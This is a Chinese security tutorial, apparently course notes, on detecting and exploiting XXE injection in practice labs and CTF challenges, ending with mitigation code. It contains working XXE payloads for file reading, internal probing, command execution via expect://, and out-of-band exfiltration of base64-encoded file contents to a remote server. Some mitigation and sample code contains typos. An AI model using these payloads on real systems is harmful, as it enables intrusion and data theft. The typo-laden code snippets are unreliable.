39 WEB漏洞-XXEXML之利用检测绕过全解

news2024/11/8 21:54:51

目录

    • 涉及案例
      • pikachu靶场xml数据传输测试-回显、玩法、协议、引入
      • 玩法-读文件
      • 玩法-内网探针或攻击内网应用(触发漏洞地址)
      • 玩法-RCE
      • 引入外部实体dtd
      • 无回显-读取文件
      • 协议-读文件(绕过)
      • xxe-lab靶场登陆框xml数据传输测试-检测发现
      • CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式
      • xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
      • CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战
      • xxe漏洞修复与防御方案-php,java,python-过滤及禁用

文章分享:https://www.cnblogs.com/zhengna/p/15740341.html
在这里插入图片描述
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。危害有点类似于ssrf漏洞的危害

XML与HTML的主要差异
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息,而 XML 旨在传输信息。

<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA"类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

#DTD
文档类型定义(DTD)可定义合法的XML文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE声明

(2)外部文档声明

#DTD实体
(1)内部实体声明

<!ENTITY 实体名称 "实体的值">

(2)外部实体声明

<!ENTITY 实体名称 SYSTEM "URI">

(3)参数实体声明

<!ENTITY %实体名称 "实体的值"> <!ENTITY %实体名称 SYSTEM "URI">

涉及案例

pikachu靶场xml数据传输测试-回显、玩法、协议、引入

在这里插入图片描述

玩法-读文件

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>

玩法-内网探针或攻击内网应用(触发漏洞地址)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo {
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt"
>
]>
<x>&rabbit;</x>

玩法-RCE

该CASE是在安装expect扩展的PHP环境里执行系统命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

实战情况下,这种情况很难碰到,不能去执行命令

引入外部实体dtd

<?xml version="1.0" ?>
<!DOCTYPE test [
     <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
     %file;
]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

对方允许外部实体,那么它就可以去调用远程的实体去执行相关的攻击代码,这种类似于,我们在讲文件包含的时候,本地包含,远程包含的一个概念,这种引用外部实体dtd文件,其实就类似于远程包含漏洞的原理
自定义的攻击代码,为了绕过一些远程防御的代码,因为对方有检测有防御软件的话,他会去跟踪用户行为,发现你正在对这个文件进行读取,他会拦截,或者在代码中分析到有关键的协议名,或者是观念的东西,可能会有拦截,这种时候就把你的核心代码放在上面,这个payload远程去请求并执行核心代码
应用场景在于绕过和进行自定义攻击,要攻击的时候,改dtd文件就可以了

无回显-读取文件

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY %dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
]>

test.dtd:
<!ENTITY % payload
    "<!ENTITY &#x25; send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;

没有回显,我们就不知道你读的内容,那这个攻击就没有什么意义了
file变量读取指定内容,读到之后会复制给file,执行dtd里面的代码

协议-读文件(绕过)

<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&f;</x>

网上有很多字典关于xxe攻击的payload

xxe-lab靶场登陆框xml数据传输测试-检测发现

1.提交的数据包含XML格式如:
admin
2.请求头中如:

Content-Type: text/xml或Content-type:application/xml

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password><
/user>

xxe扫描工具网上也有,但是效果我没有尝试

主要是通过爬行的数据包,用BP抓包,并且在bp上面有爬行数据包的功能,我们可以让bp帮我们爬取整个网站,把地址请求都爬一遍,爬完之后,可以在每个数据包里面进行批量搜索,搜索Content-Type值的判断,如果在这个数值里面,发现有text/xml或者application/xml,表示后面接上的数据,都是xml的格式语言的数据传递,这个时候是符合xml语言的接收,这个时候就能够进行尝试漏洞
根据传输数据的格式,这个格式的写法就是典型的xml语言代码的写法
盲猜,没有并不代表接收,他可能在代码当中是正常显示,只是说这个数据包没有正常显示,这个时候你就能够去尝试更改类型,更改为text/xml或着application/xml其中的一种,再把攻击语句写到数据那里,实现对它测试有没有xxe漏洞,这就是根据人工方法去测试有没有漏洞,是否存在的常规操作
在这里插入图片描述
对网站进行爬取
在这里插入图片描述
这种写法就是典型的xml写法,他是符合测试xxe漏洞存在的,这个时候,我们对它进行攻击,直接把payload复制上去就可以了
找到符合漏洞存在的数据包,我们在提交数据这里,提交自身的payload进行攻击
在这里插入图片描述
他这种提交数据给到上面之后,他的数据传输形式采用的是json的形式提交的,这种就是盲猜了,猜你有没有,我们直接修改Content-Type类型,因为数据包你不修改这个类型的话,传输数据的时候,这个写法就不识别了

CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式

http://web.jarvisoj.com:9882/
更改请求数据格式:application/xml

<?xml version = "1.0"?>
<!DOCTYPE ANY [
     <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

把数据格式换成payload的格式,之前讲的方法是先判断他符不符合xml的格式,符合,我们在确定他有没有这个漏洞,所以这两个概念是不一样的
更改数据包来实现xxe漏洞的盲猜

xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

XXEinjector使用方法:https://www.cnblogs.com/bmjoker/p/9614990.html
XXEinjector检测工具:https://github.com/enjoiz/XXEinjector
https://www.cnblogs.com/bmjokex/p/9614990.html
xxe_payload_fuzz
从发现目标地址到目标的资产收集,对目标的资产信息进行攻击,找到对应的漏洞来实现一步步的操作

CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战

扫描IP及端口->扫描探针目录->抓包探针xxe安全->利用xxe读取源码->flag指向文件->base32 64解套->php运行->flag

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT Y ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

靶机综合难度来说还是有一些的,他不会像发现漏洞、利用漏洞就完了,他中间会给你绕一下

xxe漏洞修复与防御方案-php,java,python-过滤及禁用

#方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:
from Ixml import etreexmlData =etree.parse(xmlsource,etree,XMLParser(resolve _entities=False))

#方案2-过滤用户提的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

XXE漏洞产生的根本原因就是网站有接收xml数据,xml其实就是语言,网站有接收xml的数据,但是它没有进行过滤,所以我们可以让他接收xml的一些代码,这个代码就是执行文件读取这个操作的,他其实从我们讲的注入里面,json注入,反序列化,都是一种数据的格式问题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1114409.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

智能低压配电房解决方案

随着科技的发展&#xff0c;数字化经济的提出&#xff0c;以及各行各业在数字化经济发展的浪潮中&#xff0c;配电房的数字化、智能化、安全化、节能化提供了新的解决方案和新思路。 系统概述&#xff1a; 力安科技智能低压配电房通过在电力设备终端加装电力探测器、物…

通信原理板块——数字数据压缩编码之霍夫曼编码

1、数字数据压缩编码基本原理 数据分为数字数据和模拟数据&#xff0c;此处的数据指的是数字数据或数字化后的模拟数据 (1)数字数据压缩编码要求 数据与语音或图像不同&#xff0c;对其压缩是不允许有任何损失&#xff0c;只能采用无损压缩的方式。压缩编码选用一种高效的编码表…

微信好友消息自动回复,让你轻松应对好友咨询

有许多用微信做业务、做微商的小伙伴&#xff0c;微信有时候消息太多看不过来&#xff0c;漏看消息&#xff0c;或者不知道怎么引导用户&#xff0c;让他们看到你想让他们看到的消息。微信上用户多微信上的信息容易漏掉&#xff0c;怎么能有时效的回复客户呢&#xff1f;此时你…

Mybatis-plus连接postgrel数据库主键自增问题

首先pg中没有直接设置主键自增这一说法&#xff0c;一般只能新建一个序列&#xff0c;可以使用Navicat创建 在mp的配置类中加入序列的配置&#xff1a; Bean public IKeyGenerator keyGenerator() {return new H2KeyGenerator(); }然后实体类的主键策略只能是INPUT&#xff0…

Ps:选框工具

Ps 的选框工具有四个&#xff0c;它们分别是&#xff1a; 矩形选框工具 Rectangular Marquee Tool 椭圆选框工具 Elliptical Marquee Tool 单行选框工具 Single Row Marquee Tool 单列选框工具 Single Column Marquee Tool 快捷键&#xff1a;M 单行和单列选框工具属于特殊…

MathType7.4最新免费版(公式编辑器)下载安装包附安装教程

MathType是一款专业的数学公式编辑器&#xff0c;理科生专用的必备工具&#xff0c;可应用于教育教学、科研机构、工程学、论文写作、期刊排版、编辑理科试卷等领域。可视化公式编辑器轻松创建数学方程式和化学公式。兼容Office Word、PowerPoint、Pages、Keynote、Numbers 等7…

WINCC趋势画面模板

加载按钮 Sub OnClick(Byval Item) Dim Chart,tag,ctrl,objTrendWnd,objTimeAxis,objValAxis,objTrendSet ChartScreenItems("组合框2")Chart tagChart.SelTextSet ctrl ScreenItems("控件1")threadSet objTrend…

为什么说99%的传统视频监控都有问题?

就传统的监控来说&#xff0c;主要还是通过摄像头单纯地记录画面&#xff0c;依赖人力在屏幕前“看”&#xff0c;工作人员长时间盯着十几个监控画面&#xff0c;十分容易疲劳导致注意力不集中&#xff0c;不能及时发现事故并解决。而且传统的视频监控仍以事后查证为主&#xf…

网上可以赚钱的软件,闲暇时间可用来薅羊毛做副业

正因为有了互联网&#xff0c;我们的生活变得越来越便利。我们可以在网上购物、休闲娱乐、与朋友交流&#xff0c;甚至可以通过网上做副业来赚取额外收入。生活中总会有一些业余时间&#xff0c;而很多人也不想浪费它&#xff0c;总想着做一点事情来弥补经济上的不足。因此&…

STP生成树协议详解

一、STP作用 如果链路断开或节点故障&#xff0c;那么互联的设备就无法正常通信了&#xff0c;这类网络问题叫做单点故障。没有备份的链路或节点&#xff0c;出现故障会直接断网。如果要提供 724 小时不间断的服务&#xff0c;那就需要在网络中提前部署冗余。避免出现单点故障…

web站点的欢迎页面

2023.10.20 什么是一个web站点的欢迎页面&#xff1f; 当我们设置了欢迎页面之后&#xff0c;在访问这个webapp的时候&#xff0c;或者访问这个web站点的时候&#xff0c;没有指定任何“资源路径”&#xff0c;这个时候会默认访问你的欢迎页面。 如何设置欢迎页面&#xff1f…

Python基础教程:行与缩进正确用法教程

嗨喽&#xff0c;大家好呀~这里是爱看美女的茜茜呐 缩进 使用缩进来表示代码块&#xff0c;不需要使用大括号 {} 。 同一个代码块的语句必须包含相同的缩进空格数。 if True:print ("Answer")print ("True") else:print ("Answer")print (&qu…

【EI会议征稿】第三届应用力学与先进材料国际学术会议(ICAMAM 2024)

第三届应用力学与先进材料国际学术会议&#xff08;ICAMAM 2024&#xff09; 2024 3rd International Conference on Applied Mechanics and Advanced Materials&#xff08;ICAMAM 2024&#xff09; 第三届应用力学与先进材料国际学术会议&#xff08;ICAMAM 2024&#xff09…

【Andriod】SDK下载安装及环境配置完整教程

文章目录 1.Android SDK下载2.Android SDK安装3.Android SDK的配置4. Android SDK的环境变量配置(win 10) 1.Android SDK下载 目前官网上已经没有单独的SDK下载安装包了。谷歌官网推荐的是下载包含有Android SDK的Android Studio。官网下载地址 如下图&#xff0c;选择对应的系…

三江学院“火焰杯”软件测试高校就业选拔赛颁奖仪式

11月25日下午&#xff0c;“火焰杯”软件测试开发选拔赛及三江-慧科卓越工程师班暑期编程能力训练营颁奖仪式在s楼会议室隆重举行。计算机科学与工程学院院长刘亚军、副院长叶传标、曹阳、吴德、院党总支副书记王兰英、系主任杨少雄、慧科企业代表尹沁伊人、项目负责人王旭出席…

支持录音的笔记APP,可将录音转化为文字的笔记软件

提及笔记APP工具&#xff0c;无外乎是电子笔记和手写笔记&#xff0c;现如今随着科技的不断发展&#xff0c;人们使用电子设备的频率是越来越多&#xff0c;在选择笔记APP时&#xff0c;大家不想再单纯的依靠手动输入文字记录&#xff0c;反而更多的是喜欢快捷的录音添加笔记的…

Android 指定有线网或Wifi进行网络请求

Android 指定有线网或Wifi进行网络请求 文章目录 Android 指定有线网或Wifi进行网络请求一、前言&#xff1a;二、指定网络通讯测试1、 窗口命令 ping -I 网络节点 IP2、Java 代码指定特定网络通讯 三、指定特定网络的demo app 开发1、效果图&#xff1a;2、实际测试结果说明&a…

Unity中Shader的ShadowMapping的原理(阴影)

文章目录 前言一、阴影的作用1、阴影可以增加真实度2、阴影可以提升空间感 二、阴影的生成1、现实中阴影的生成2、Unity中阴影的生成 ShadowMapping 三、ShadowMapping原理1、在 光源处添加一个相机&#xff0c;同时打开深度测试 与 写入&#xff0c;并生成ShadowMap&#xff0…

用echarts在vue2中实现3d饼图

先看效果&#xff0c;再看文章&#xff1a; 一、安装插件 3d的图不仅用到echarts&#xff0c;还用到了echarts-gl&#xff0c;因此都需要安装一下哦~ npm install echarts npm install echarts-gl2.0.9 //可以指定版本&#xff0c;也可不指定二、在main.js中引入 import * …